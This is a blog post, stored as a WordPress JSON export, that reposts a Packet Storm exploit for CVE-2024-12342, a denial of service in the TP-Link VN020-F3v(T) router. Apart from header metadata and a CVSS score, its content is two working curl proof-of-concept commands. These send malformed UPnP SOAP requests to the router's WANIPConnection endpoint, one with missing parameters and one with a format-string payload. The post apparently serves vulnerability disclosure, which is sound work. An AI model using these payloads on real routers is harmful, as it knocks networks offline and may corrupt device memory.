{"id":776,"date":"2025-04-20T21:31:55","date_gmt":"2025-04-20T21:31:55","guid":{"rendered":"http:\/\/localhost\/?p=776"},"modified":"2025-04-20T21:31:55","modified_gmt":"2025-04-20T21:31:55","slug":"tp-link-vn020-f3vt-ttv621021-denial-of-service","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=776","title":{"rendered":"TP-Link VN020 F3v(T) TT_V6.2.1021 Denial of Service"},"content":{"rendered":"<h2>Exploit Details<\/h2>\n<h3>Basic Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit Title<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">TP-Link VN020 F3v(T) TT_V6.2.1021 Denial of Service<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Exploit ID<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">PACKETSTORM:190533<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Type<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">packetstorm<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Published<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-17T00:00:00<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Modified<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">2025-04-17T00:00:00<\/td>\n<\/tr>\n<\/table>\n<h3>CVSS Information<\/h3>\n<table style=\"width:100%; border-collapse: collapse; margin-bottom: 20px;\">\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">CVSS Score<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">7.1<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Severity<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd; color: #ff4444; font-weight: bold;\">HIGH<\/td>\n<\/tr>\n<tr>\n<th style=\"text-align: left; padding: 8px; border: 1px solid #ddd; \">Vector<\/th>\n<td style=\"padding: 8px; border: 1px solid #ddd;\">CVSS:4.0\/AV:A\/AC:L\/AT:N\/PR:N\/UI:N\/VC:N\/SC:N\/VI:N\/SI:N\/VA:H\/SA:N<\/td>\n<\/tr>\n<\/table>\n<h3>CVE Information<\/h3>\n<div style=\" padding: 15px; border: 1px solid #ddd; margin-bottom: 20px;\">\n<ul style=\"margin: 0; padding-left: 20px;\">\n<li>CVE-2024-12342<\/li>\n<\/ul>\n<\/div>\n<h3>Exploit Description<\/h3>\n<div style=\" padding: 15px; border-left: 4px solid #4CAF50; margin-bottom: 20px;\">\nTP-Link VN020&#8230;\n<\/div>\n<h3>Exploit Code<\/h3>\n<div style=\" color: #d4d4d4; padding: 15px; border: 1px solid #ddd; margin-bottom: 20px; font-family: 'Courier New', monospace; white-space: pre-wrap; overflow-x: auto;\">\n# Exploit Title: TP-Link VN020 F3v(T) TT_V6.2.1021 &#8211; Denial Of Service (DOS)<br \/>    # Date: 10\/22\/2024<br \/>    # Exploit Author: Mohamed Maatallah<br \/>    # Vendor Homepage: https:\/\/www.tp-link.com<br \/>    # Version: TT_V6.2.1021 (VN020-F3v(T))<br \/>    # Tested on: VN020-F3v(T) Router (Hardware Version 1.0)<br \/>    # CVE: CVE-2024-12342<\/p>\n<p>    Description:<br \/>    Two critical vulnerabilities discovered in TP-Link VN020-F3v(T) router&#8217;s<br \/>    UPnP implementation, affecting the WANIPConnection service. The<br \/>    vulnerabilities allow unauthenticated attackers to cause denial of service<br \/>    and potential memory corruption through malformed SOAP requests.<\/p>\n<p>    Proof of Concept 1 (Missing Parameters DoS):<\/p>\n<p>    curl -v -X POST &#8220;http:\/\/192.168.1.1:5431\/control\/WANIPConnection&#8221; \\<br \/>    -H &#8220;Content-Type: text\/xml&#8221; \\<br \/>    -H &#8220;SOAPAction:<br \/>    \\&#8221;urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\\&#8221;&#8221; \\<br \/>    -d &#8216;<?xml version=\"1.0\"?><br \/>    <s:Envelope xmlns:s=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\"><br \/>    <s:Body><u:AddPortMapping><br \/>    <NewPortMappingDescription>hello<\/NewPortMappingDescription><br \/>    <\/u:AddPortMapping><\/s:Body><\/s:Envelope>&#8216;<\/p>\n<p>    Proof of Concept 2 (Memory Corruption):<\/p>\n<p>    curl -v -X POST &#8220;http:\/\/192.168.1.1:5431\/control\/WANIPConnection&#8221; \\<br \/>         -H &#8220;Content-Type: text\/xml&#8221; \\<br \/>         -H &#8220;SOAPAction:<br \/>    \\&#8221;urn:schemas-upnp-org:service:WANIPConnection:1#SetConnectionType\\&#8221;&#8221; \\<br \/>         -d &#8216;<?xml version=\"1.0\"?><br \/>    <s:Envelope xmlns:s=\"http:\/\/schemas.xmlsoap.org\/soap\/envelope\/\"><br \/>      <s:Body><br \/>        <u:SetConnectionType<br \/>    xmlns:u=&#8221;urn:schemas-upnp-org:service:WANIPConnection:1&#8243;><br \/>          <NewConnectionType>&#8216;&#8221;$(perl -e &#8216;print &#8220;%x&#8221; x<br \/>    10000;&#8217;)&#8221;&#8216;<\/NewConnectionType><br \/>        <\/u:SetConnectionType><br \/>      <\/s:Body><br \/>    <\/s:Envelope>&#8216;\n<\/div>\n<p><a href=\"https:\/\/packetstorm.news\/files\/id\/190533\/\" target=\"_blank\" style=\"display: inline-block;  color: white; padding: 10px 20px; text-decoration: none; border-radius: 4px;\">View Full Exploit Details<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Exploit Details Basic Information Exploit Title TP-Link VN020 F3v(T) TT_V6.2.1021 Denial of Service Exploit ID PACKETSTORM:190533 Type packetstorm Published 2025-04-17T00:00:00 Modified 2025-04-17T00:00:00 CVSS Information CVSS&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,50,12,15,13,53,7,11,5],"class_list":["post-776","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-71","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - 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